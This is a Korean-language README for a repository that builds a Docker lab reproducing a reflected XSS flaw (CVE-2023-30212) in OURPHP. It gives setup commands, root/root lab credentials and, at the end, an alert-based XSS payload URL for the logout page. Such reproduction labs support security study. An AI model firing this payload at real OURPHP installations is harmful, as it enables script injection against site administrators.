visdev23/vulnerable-docker--cve-2023-30212-이것은 OURPHP의 XSS 취약점(CVE-2023-30212)을 재현하는 데 필요한 파일과 Docker를 포함합니다.
이 저장소는 XSS 취약점(CVE-2023-30212)을 가진 OURPHP의 취약점을 재현하는 데 필요한 디렉토리와 Dockerfile을 포함합니다.
사전 요구 사항
Docker 다운로드
sudo apt install -y docker.io
git clone을 사용하여 이 저장소에서 파일 다운로드
git clone https://github.com/VisDev23/Vulnerable-Docker--CVE-2023-30212-.git .
이 저장소는 시나리오를 재현하는 데 필요한 디렉토리와 Dockerfile을 포함합니다.
파일을 다운로드한 후, 다음을 사용하여 Docker 이미지를 빌드하세요:
sudo docker build -t <Give_Suitable_Docker_name> . .
! 나중에 호출할 수 있도록 Docker 이미지에 이름을 추가하세요.
다음을 사용하여 Docker 이미지를 컨테이너로 변환하세요:
sudo docker run -d -p 80:80 <Docker_Image_Name> .
! 여기서 컨테이너 포트는 80번 포트에 매핑됩니다.
Docker 컨테이너의 상태를 확인하려면 ,
sudo docker ps
이 단계를 수행한 후,
localhost에 접속하고 다음 자격 증명으로 OURPHP를 구성하세요. 사용자 이름 : root 비밀번호 : root 데이터베이스 이름: data
이제 관리자용 사용자 이름과 비밀번호를 구성해야 합니다. 다음을 설정하세요: 사용자 이름: root 비밀번호: root 진행하세요
따라서 페이로드는 다음과 같습니다:
/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("xss")</script>
XSS를 트리거하려면 이 페이로드를 localhost 또는 127.0.0.1과 함께 추가하세요.
